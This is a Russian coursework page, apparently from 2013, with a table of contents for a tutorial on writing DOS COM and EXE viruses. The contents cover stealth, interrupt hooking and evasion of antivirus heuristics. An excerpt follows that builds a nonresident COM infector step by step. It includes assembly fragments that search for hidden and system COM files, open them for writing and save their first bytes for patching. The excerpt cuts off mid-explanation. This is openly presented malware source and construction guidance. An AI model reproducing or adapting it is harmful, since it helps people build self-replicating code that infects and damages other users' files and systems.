Вирусы

Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа

Описание работы

Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-

Содержание

ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82


ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного

Работа содержит 1 файл

virur.doc

— 1.23 Мб (Скачать)

    код вируса всегда  будет выполняться первым .

 

 

         1.3 Работа  вируса в зараженной программе

 

    Получив  управление  при старте зараженной програ-

    ммы,  вирус выполняет  следующие действия :

 

    1. Восстанавливает в   памяти компьютера   исходные

    три  байта этой  программы .

 

    2. Ищет на диске подходящий COM - файл .

 

    3. Записывает свое тело  в конец этого файла .

 

    4. Заменяет  первые три  байта заражаемой программы

    командой перехода на  свой код,  сохранив предвари-

    тельно исходные  три  байта в своей области данных.

 

    5. Выполняет вредные  действия, предусмотренные ав-

    тором .

 

    6. Передает управление зараженной  программе . По-

    скольку в COM - файле   точка  входа  всегда  равна

    CS : 100h, можно не выполнять  сложных расчетов,  а

    просто выполнить переход  на этот адрес .

 

    Если же подходящих  для заражения COM - файлов най-

    дено не было, то вирус просто осуществляет переход

    на начало  зараженной  программы,  из которой он и

    стартовал .

    После  этого зараженная  программа выполняется,как

    обычно .

    Сам вирусный код выполняется   очень быстро  и  для

    пользователя ЭВМ этот процесс остается незаметным.

    Стоит заметить, что п.5 может вообще не выполнять-

    ся .Существуют вирусы, которые  никак не  проявляют

    себя,  кроме размножения  ( например, VIENNA 534 ).

    Вместе с тем есть  и такие, которые способны нанес-

    ти определенный вред  файлам или диску.Например,ви-

    рус ANTI_EXE  мешает  нормально   работать с  EXE -

    файлами, DARK AVENGER записывает  бессмысленную ин-

    формацию в случайные  сектора диска, а ONEHALF шиф-

    рует сектора на винчестере один за другим .Все за-

    висит  от изобретательности автора .

 

 

        1.4 Как начинается распространение  вируса

 

    Очевидно, чтобы вирус  распространился,  его нужно

    внедрить  в вычислительную  систему . Делается  это

    так  :

 

    1. Автор  разрабатывает вирусную программу . Обычно

    для   этой цели используется язык  ассемблера,  так

    как  программы, написанные на нем,выполняются  очень

    быстро  и имеют малый размер .Хотя  есть вирусы, на-

    писанные  на языке TURBO C и даже на TURBO PASCAL .

 

    2. Исходный  текст  программы компилируется,  и  из

    него  создается исполняемый файл (обычно  типа COM).

    Этот  файл предназначен для того, чтобы  " выпустить

    вирус  на свободу " .Назовем программу,записанную  в

    этом файле, запускающей  .

 

    3. Запускающая программа  выполняется на машине,ко-

    торую необходимо заразить .

 

    4. Выпущенный на свободу  вирус выполняет действия,

    описанные в 1.3 .Различие  заключается только в вы-

    полнении п.1 . А именно - при восстановлении в па-

    мяти  исходных трех  байтов программы на их место

    записывается команда  перехода, передающая управле-

    ние  коду  завершения запускающей   программы. Таким

    образом,  при выполнении п.6  управление  будет  от-

    дано  операционной системе, а на  диске  образуется

    зараженный  файл. При копировании  этого  файла  на

    другие  компьютеры и их запуске   вирус начнет рас-

    пространяться  .

 

    Итак, займемся изготовлением COM - вируса ...

 

 

                    1.5 Начало работы

 

    Для  разработки вируса лучше всего использовать COM

    формат.Это  сделает его отладку более  простой и на-

    глядной  .Кроме того, структура COM - программы  на-

    много  проще и понятнее, чем структура  программы  в

    формате EXE.Поэтому напишем  стандартное начало COM

    программы :

 

    prg segment

       assume cs:prg,ds:prg,es:prg,ss:prg

          org 100h

 

    Директива "assume cs:prg,ds:prg,es:prg,ss:prg" на-

    значает все сегментные регистры одному сегменту  с

    именем PRG,а директива  "org 100h" нужна для резер-

    вирования места для  PSP .

 

 

              1.6 Вирус получает управление

 

    После   этого вступления  начинается  собственно ис-

    полняемая  часть программы ( метка START ) :

 

    start:     jmp vir                ;Передача управ-

                                      ;ления вирусному

                                      ;коду ...

       org 110h

 

    Команда  "jmp vir"  передает  управление  вирусному

    коду,  а директива "org 110h" указывает  компилято-

    ру  размещать все  коды после  метки "vir",начиная с

    адреса  110h .Число 110h принято для удобства  рас-

    чета  смещений при разработке вируса .Чуть позже мы

    разберемся,  зачем понадобилась команда "jmp vir",

    а пока  продолжим :

 

    vir:       push ds                ;Сохраним DS ...

                                      ;Корректируем

               mov ax,ds              ;регистр DS  ...

               db 05h                 ;Код команды

    add_to_ds: dw 0                   ; " ADD AX,00h "

       mov ds,ax              ;AX -> DS    ...

 

    Поскольку в зараженной  программе  область  данных

    вируса будет сдвинута  хотя бы на  длину  этой  про-

    граммы,необходимо выполнить  коррекцию регистра DS.

    Коррекция осуществляется  прибавлением к его содер-

    жимому  длины программы в параграфах,округленной  в

    большую  сторону .Например, длина программы  состав-

    ляет 401 байт . Тогда  она  содержит 25 полных па-

    раграфов  и еще 1 байт.Округленное число  параграфов

    будет  равно 26 .Эта величина и   прибавляется к ре-

    гистру DS . При заражении вирус рассчитывает  кор-

    ректирующее  число и записывает его в  область "add_

    to_ds" .Теперь всякий раз при  запуске   зараженной

    программы  оно будет использоваться вирусом  для ис-

    правления  DS . В запускающей программе DS  коррек-

    тировать  не нужно,  и поэтому для  нее  "add_to_ds"

    равно  нулю .

 

 

         1.7 Восстанавливаем зараженную программу

 

    Как  было указано в 1.3 ( п.1 ),  вирус  должен пос-

    ле  запуска зараженной программы  восстановить в па-

    мяти компьютера ее исходные три байта ( не на дис-

    ке, а  только в памяти ! ) .Пусть  вирус  хранит ис-

    ходные  три байта в области "old_bytes".

    Итак :

 

    fresh_bytes:

       mov al,old_bytes

       mov cs:[100h],al

       mov al,old_bytes+1

       mov cs:[101h],al

       mov al,old_bytes+2

       mov cs:[102h],al

 

    Вы  конечно знаете,что в COM - программе  при ее за-

    грузке  по адресу CS : 100h всегда находится  первая

    исполняемая   команда .В остальном работа  фрагмента

    ясна .

 

 

              1.8 Запоминаем содержимое DTA

 

    Data Transfer Arrea ( DTA ) является одной из слу-

    жебных  структур MS DOS . Эта  область находится   в

    PSP по  смещению 80h,  и активно используется  пос-

    ледней  при работе с файлами .Например,многие  функ-

    ции  MS DOS обращаются к  DTA для чтения  или моди-

    фикации  ее содержимого.Поскольку  DOS  строит  PSP

    для  каждой вновь запускаемой программы,  для каждой

    из  них создается и своя DTA .

    Так  как наш вирус будет использовать  при заражении

    и поиске  файлов функции DOS,содержимое DTA зараже-

    нной  программы будет испорчено, и  она, скорее все-

    го, не  будет нормально работать.Поэтому  содержимое

    DTA необходимо  сохранить. Для этой  цели  выделим

    массив из 128 байт с  именем "old_dta":

 

       mov cx,80h             ;Размер DTA -

                                      ;128 байт ...

       mov bx,80h             ;Смещение к DTA

       lea si,old_dta         ;Адрес массива

    save_dta:

       mov al,byte ptr cs:[bx];Читаем  из DTA

                                      ;байт и  перено-

       mov ds:[si],al         ;сим его в мас-

                                      ;сив ...

       inc bx                 ;К новому байту

       inc si                 ;

       loop save_dta          ;Цикл 128 раз

 

    Работа фрагмента пояснений  не требует ...

 

 

                1.9 Ищем подходящий файл

 

    Теперь самое время  заняться поиском файла для   за-

    ражения.Для поиска файла  - жертвы мы будем исполь-

    зовать пару функций  DOS : 4Eh ( поиск первого фай-

    ла ) и 4Fh ( поиск следующего  файла ) . При вызове

    4Eh в регистр CX помещаются  атрибуты искомого фай-

    ла,  а в DX - его имя  и расширение . Установленная

    нами маска предполагает  поиск COM-файла, с атрибу-

    тами "archive","system" и "hidden".Функция 4Fh ис-

    пользуется уже после  того, как функция  4Eh  нашла

    первый файл, удовлетворяющий  нашим требованиям.Ви-

    рус будет вызывать  ее в том случае, если найденный

    файл ему не подходит (например, он слишком велик).

    Имя найденного  файла  описанные выше функции поме-

    щают  в DTA по смещению 01eh .

    А  теперь приведем  программный фрагмент,   выпол-

    няющий  поиск файла :

 

    find_first:

       mov ah,4eh             ;Поиск первого

                                      ;файла ...

       mov cx,00100110b       ;archive, system

                                      ;hidden

       lea dx,maska           ;Маска для поис-

                                      ;ка

       int 21h

       jnc r_3                ;Нашли !

       jmp restore_dta        ;Ошибка !

 

    find_next: mov ah,3eh             ;Закроем  непод-

       int 21h                ;ходящий файл...

       jnc r_2

       jmp restore_dta        ;Файл нельзя за-

                                      ;крыть !

 

    r_2:       mov ah,4fh             ;И найдем сле-

       int 21h                ;дующий ...

       jnc r_3                ;Файл найден !

       jmp restore_dta        ;Ошибка !

 

    r_3:       mov cx,12              ;Сотрем в буфере

       lea si,fn              ;"fn" имя  пред-

    destroy_name:                     ;ыдущего файла

       mov byte ptr [si],0    ;

       inc si                 ;

       loop destroy_name      ;Цикл 12 раз ...

 

               xor si,si              ;И запишем в бу-

    copy_name: mov al,byte ptr cs:[si+9eh]

                                      ;фер имя только

       cmp al,0               ;что найденного

                                      ;файла ...

       je open                ;В конце имени в

       mov byte ptr ds:fn[si],al

                                      ;DTA всегда сто-

               inc si                 ;ит ноль, его мы

       jmp copy_name          ;и хотим достичь

 

    Имя файла в буфере " fn "  необходимо стирать   вот

    почему .Например,  первым был найден файл COMMAND.

    COM,  и пусть он не  подошел вирусу.Тогда вирус по-

    пытается найти следующий  файл.Пусть это будет WIN.

    COM .Его имя запишется  в область " fn ",и она при-

    мет вид : WINMAND.COM. Такого  файла на диске, ско-

    рее всего,нет;если же  попробовать к нему обратить-

    ся,это вызовет ошибку,и  вирус закончит работу.Что-

    бы этого не случалось,  область " fn " после каждо-

    го файла очищается.  При ошибках в  выполнении  сис-

    темных  функций  управление  передается  на  метку

    " restore_dta " . Затем вирус   восстанавливает DTA

    зараженной программы  и осуществляет переход на  ее

    начало .

 

 

              1.10 Читаем исходные три байта

 

    Итак,вирус  нашел  COM - программу,  которую  теперь

    следует  заразить .Но сначала необходимо  сохранить

    первые  три байта этой программы ( см. 1.3,  п.4 ).

    Для  этого файл нужно сначала открыть,  а затем счи-

    тать  его первые три байта, что  и реализуют  приве-

    денные  ниже  программные строки . Напомним,что имя

    файла  хранится в строке " fn " .

 

    open:      mov ax,3d02h           ;Открыть файл

                                      ;для чтения и

                                      ;записи ...

       lea dx,fn              ;Имя файла ...

       int 21h                ;

       jnc save_bytes

       jmp restore_dta        ;Файл не откры-

                                      ;вается !

 

    save_bytes:                       ;Считаем три

                                      ;байта :

       mov bx,ax              ;Сохраним дес-

                                      ;криптор в BX

       mov ah,3fh             ;Номер функции

       mov cx,3               ;Сколько байт ?

       lea dx,old_bytes       ;Буфер для счи-

                                      ;тываемых данных

       int 21h

       jnc found_size

       jmp close              ;Ошибка !

 

    Приведенный фрагмент  помещает  прочитанную  инфор-

    мацию в  область  " old_bytes " . Остальное ясно из

    комментариев .

 

 

            1.11 Выполняем необходимые расчеты

 

    В этом пункте  мы  покажем, как вирус проводит  рас-

    чет корректирующего  числа  для регистра  DS ( см .

    1.4 ), а также  смещения  на свой код .Напомним,что

    это смещение  записывается  в  начало  заражаемого

    файла и зависит от  его длины . Исходной  величиной

Информация о работе Вирусы